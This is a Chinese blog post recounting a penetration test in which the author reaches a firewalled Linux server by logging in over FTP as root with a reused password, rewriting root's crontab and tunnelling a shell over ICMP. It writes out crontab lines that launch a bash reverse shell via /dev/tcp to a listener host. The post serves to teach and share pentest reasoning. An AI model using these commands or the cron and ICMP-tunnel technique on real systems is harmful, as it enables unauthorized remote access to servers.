渗透测试案例之使用”组合拳”突破防火墙限制

二叶草
二叶草
二叶草
1214
文章
0
评论
2020年3月22日12:11:01 评论 590
  年底了,在整理文档时,突然想起之前做过的一个利用Linux计划任务服务和基于ICMP协议封装的Shell,以及其他知识点和技巧的突破防火墙限制的渗透测试案例,除了它的特殊性外(下文会提到),其测试流程和思路很值得和大家分享。(鉴于是之前的案例,没有现场截图,只做流程说明)

渗透测试案例之使用”组合拳”突破防火墙限制

当时的网络情况大致如上图所示,A网络和B网络是两个相对独立的网络,只有A_PC和B_SER两台特定主机可以相互访问。我们在拿到A_PC这台主机的权限后,试图拿到B_SER的Shell。此时我们掌握如下信息:

1、A_PC主机双网卡,用192.168.23.3地址可以ping通B_SERV的192.168.22.3地址;

2、通过TTL返回值可以判断中间经过了多个设备;

3、执行traceroute命令,到中间某一跳就中断,无法到达B_SER;

4、A_PC可以访问B_SER的FTP服务(21端口),可以上传、下载文件;

5、获得了B_SER的FTP用户名和口令;

6、B_SER的其他服务(端口)都无法访问,包括22、23端口。

根据上述信息我们可以大致判断,两个网络间肯定存在一台或多台类似防火墙性质的设备,对A_PC到B_SER的通信进行了限制,只允许21端口数据和ping包通过,至于B_SER到A_PC的通信是否有同样的限制暂时无法判断,至少ping的响应包可以通过。

对于能访问到的21端口,我们首先尝试了针对该版本FTP软件的远程溢出,但没有任何返回。不管是本地开端口Payload,还是反弹端口Payload,都不能确定是没溢出成功,还是已经成功,但端口被防火墙限制。

利用FTP登录B_SER,在FTP根目录下顺手敲了“cd ..”,执行成功,进入上级目录,居然没有对FTP访问目录进行限制(此特殊条件1),可以翻看的目录多了好多,但由于FTP用户权限低,无法获得关键信息。

root口令会不会也是同样的口令呢(很多公司内网都有这样情况,为了便于管理,口令设置一样)?尝试用root账户和同样的口令登录B_SER的FTP服务,成功了!!!居然root用户可以登录FTP(此特殊条件2),居然root口令和FTP口令一样(此特殊条件3),豁然开朗。

有root权限,但只能执行FTP命令,非常受限。这时想到Linux下的任务计划crontab,(对Linux任务计划不了解的同学可以先了解一下)。利用FTP命令,下载B_SER服务器上/var/spool/cron/root文件,发现该服务器root用户本身配有任务计划,于是在原有内容后面添加如下语句:

*/3  *  *  *  * ping –c 2 192.168.23.3 >> /tmp/ping

#每隔3分钟执行一下ping命令,并将结果写入文件

然后put到B_SER服务器上,替换掉原来的/var/spool/cron/root文件(其实这里还执行了很多其他系统命令,不一一罗列)。三分钟后在tmp目录下果然生成ping文件,并且ping通。这充分说明,利用crontab可以执行系统命令,也就意味着可以执行反弹shell的命令。于是马上更换命令为:

*/3  *  *  *  * bash –i >&/dev/tcp/192.168.23.3/80 0 >&1

#每隔3分钟执行一下反弹shell命令,讲shell反弹至192.168.23.3的80端口

上传后马上在A_PC上利用nc监听80端口,但几分钟过后没有任何动静,难道命令没有执行?于是在原命令后添加一条命令:

*/3  *  *  *  * bash –i >&/dev/tcp/192.168.23.3/80 0 >&1;ps –ef >>/tmp/ps

#每隔3分钟执行一下反弹shell命令,后列出进程

再次上传执行,三分钟后ps文件生成,文件内容显示”bash –i >&/dev/tcp/192.168.23.3/80 0 >&1”命令已经执行,但没有shell返回。那就是反弹的端口被限制了,于是更换其他多个端口,均不能回连。

至此,我们已经可以在B_SER上执行命令,但还没拿到shell,同时也基本确定B_SER到A_PC的通信也同样受到防火墙限制,只有ping包可以通过。

如果把shell封装成ping包格式(ICMP协议),是不是就可以突破防火墙限制呢?我们尝试了ICMP Shell这款工具(下载地址:https://github.com/realityone/icmp-shell),这是一款开源工具,C语言编写,功能就是将shell封装在ICMP协议中传输。我们将客户端编译好后上传执行,在A_PC主机上执行服务端,很快,shell就回来了。至此,成功突破防火墙,获得B_SER的shell。

总结此次渗透测试,一句话概括为:在特定条件下,利用crontab执行了封装在ICMP协议下的shell,成功突破防火墙限制。结果其实很简单,只是与大家分享测试过程中的思路,有不妥之处请指教,如有更好的思路和技巧,也请大家不吝赐教。

本文来源于:渗透测试案例之使用”组合拳”突破防火墙限制-变化吧门户
特别声明:以上文章内容仅代表作者本人观点,不代表变化吧门户观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与变化吧联系。

转载请注明:{{title}}-变化吧
  • 赞助本站
  • 微信扫一扫
  • weinxin
  • 赞助本站
  • 支付宝扫一扫
  • weinxin
二叶草
渗透测试实用工具 渗透

渗透测试实用工具

 工具概述 1、新增批量修改文件夹文件后缀功能,并重新排列工具,更加详细使用 2、新增文件夹监控功能,监控python tool.py -monitor C: 3、新增将包含rgb值的txt...
简谈渗透测试各阶段我常用的那些“神器” 渗透

简谈渗透测试各阶段我常用的那些“神器”

 前言 本人所有文章都很用心的写作完成,并时常总结如何分享更有用的东西给朋友们。这篇更是如此,晚上准备到凌晨四点开始写作,为了需要的朋友而写,不喜欢的右上角点叉不要像上次文章一样在下面喷粪逼我骂你,另...
内网渗透工具- Intranet-Penetration 渗透

内网渗透工具- Intranet-Penetration

 整理一些常用的内外网渗透测试工具 PHPoxy 通过PHP脚本运行一个可以访问内网机器的Web代理。 SocksCap  socks5代理客户端 XX-Net    科学上网利器 phpsocks5...